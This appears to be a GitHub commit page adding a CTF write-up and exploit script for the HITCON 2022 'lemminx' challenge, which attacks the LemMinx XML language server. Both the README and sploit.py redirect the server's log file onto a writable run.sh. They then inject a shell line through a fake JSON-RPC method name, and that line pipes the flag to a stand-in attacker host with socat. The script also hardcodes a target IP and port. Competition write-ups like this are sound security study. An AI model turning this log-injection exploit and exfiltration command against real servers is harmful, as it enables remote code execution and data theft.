Skip to content

Commit

Permalink
hitcon-2022: add "lemminx"
Browse files Browse the repository at this point in the history
  • Loading branch information
braindead committed Dec 9, 2022
1 parent 76e36fd commit 932dbb0
Show file tree
Hide file tree
Showing 2 changed files with 128 additions and 0 deletions.
35 changes: 35 additions & 0 deletions 2022/hitcon-2022/lemminx/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
LemMinx is started for each connection from `/home/ctf/.../run.sh`, which is writable.

We do an `initialize` call to make LemMinx start writing it's logs to `run.sh`:

```python
call('initialize', {
'rootUri': 'file:///tmp',
'initializationOptions': {
'settings': {
'xml': {
"logs": {
"client": True,
"file": "/proc/self/cwd/run.sh"
},
},
},
},
'capabilities': { # probably not needed, leftover from past experimentation
'executeCommand': {
'dynamicRegistration': True,
},
},
})
```

Then call a non-existent JSON-RPC endpoint to pollute `run.sh` with our code:

```python
call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{})
```

There are several ways to get a newline and an arbitrary string into `run.sh`, but the above
also avoids printing any `(` characters, which would trip up the shell.

Then we disconnect and connect again to execute `/printflag`.
93 changes: 93 additions & 0 deletions 2022/hitcon-2022/lemminx/sploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
import json
import pygments
import pygments.lexers
import pygments.formatters
import time

from braindead import *
log.enable()
args = Args()
args.parse()

if 0:
r = io.process([
'strace',
'-e', '%file',
'-f',
#'java',
#'-jar', './lemminx/org.eclipse.lemminx/target/org.eclipse.lemminx-uber.jar',
'./lemminx-linux',
], stderr='pass')
else:
#r = io.connect(('172.17.0.2', 7777))
r = io.connect(('35.185.130.194', 40001))

rpc_id_ctr = 0
def send_call(method, params):
global rpc_id_ctr
rpc_id_ctr += 1
content = json.dumps({
"jsonrpc": "2.0",
"id": rpc_id_ctr,
"method": method,
"params": params,
})
r.send(f'Content-Length: {len(content)}\r\n\r\n' + content)
return rpc_id_ctr

def reap():
clen = int(r.rla('Content-Length: '))
r.rl()
j = json.loads(r.recvn(clen).decode())
pretty = json.dumps(j, indent=True)
print(pygments.highlight(pretty, lexer=pygments.lexers.JsonLexer(), formatter=pygments.formatters.Terminal256Formatter()))
return j

def call(method, params):
send_call(method, params)
resp = reap()
return resp

call('initialize', {
'rootUri': 'file:///tmp',
'initializationOptions': {
'settings': {
'xml': {
"logs": {
"client": True,
"file": "/proc/self/cwd/run.sh"
},
},
},
},
'capabilities': {
'executeCommand': {
'dynamicRegistration': True,
},
},
})
#send_call('initialized', {})

call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{})

time.sleep(1)

call('workspace/didChangeConfiguration', {
'settings': {
'xml': {
"logs": {
"client": True,
"file": "/tmp/whatever.log"
},
},
},
})

time.sleep(1)

call('exit', {})

while True:
reap()

io.interactive(r)

0 comments on commit 932dbb0

Please sign in to comment.